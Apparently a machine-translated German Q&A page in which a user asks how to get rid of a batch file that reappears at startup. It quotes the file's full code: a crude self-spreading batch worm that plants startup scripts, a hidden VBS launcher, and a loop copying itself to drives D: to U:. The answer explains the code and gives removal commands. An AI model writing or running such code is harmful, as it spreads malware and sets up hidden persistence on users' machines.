nicht löschbare und nicht editierbare Batch - Datei

Question

Ich habe einen Stapel in meinem PC - Laufwerk gefunden, der bei jedem Start ausgeführt wird und eine Nachricht anzeigt. Das Problem ist, dass ich diese Datei nicht löschen kann und der Code nicht bearbeitet werden kann Wenn ich diese Batchdatei lösche, erscheint sie erneut. was sollte ich dann tun ?? der Code -

@echo off 

(echo @echo off 

echo color 1a 

echo title @VIRUS = HR 

echo echo danger!! 

echo pause)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 

(echo @echo off 

echo :A 

echo copy /y %appdata%\movie.bat d: 

echo copy /y %appdata%\movie.bat e: 

echo copy /y %appdata%\movie.bat f: 

echo copy /y %appdata%\movie.bat g: 

echo copy /y %appdata%\movie.bat h: 

echo copy /y %appdata%\movie.bat i: 

echo copy /y %appdata%\movie.bat j: 

echo copy /y %appdata%\movie.bat k: 

echo copyta%\ /y %appdata%\movie.bat l: 

echo copy /y %appdata%\movie.bat m: 

echo copy /y %appdata%\movie.bat n: 

echo copy /y %appdata%\movie.bat o: 

echo copy /y %appdata%\movie.bat p: 

echo copy /y %appdata%\movie.bat q: 

echo copy /y %appdata%\movie.bat r: 

echo copy /y %appdata%\movie.bat s: 

echo copy /y %appdata%\movie.bat t: 

echo copy /y %appdata%\movie.bat u: 

echo goto A)>"%appdata%\vol.bat" 

(echo Set WshShell = CreateObject^("WScript.Shell"^) 

echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0 

echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start 

menu\Programs\startup\windows.vbs" 

copy movie.bat %appdata% 

Answer 1

Dies ist eine selbstreplizierende Batch-Datei.

löschen zwei Dateien von Ihrem Autostart-Ordner wieder seine Ausführung zu verhindern:

del "%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 
del "%appdata%\Microsoft\windows\start menu\Programs\startup\windows.vbs" 

Dann Instanz ausgeführt zu stoppen neu starten.

Danach entfernen alle Vorkommen von „movie.bat“ von allen Laufwerken und

del "%appdata%\vol.bat" 

Die gute Nachricht ist, es nicht das System schaden. Nehmen Sie einfach die Nachricht: "Führen Sie keinen verdächtigen Code aus und wählen Sie mit Bedacht, wem Sie vertrauen"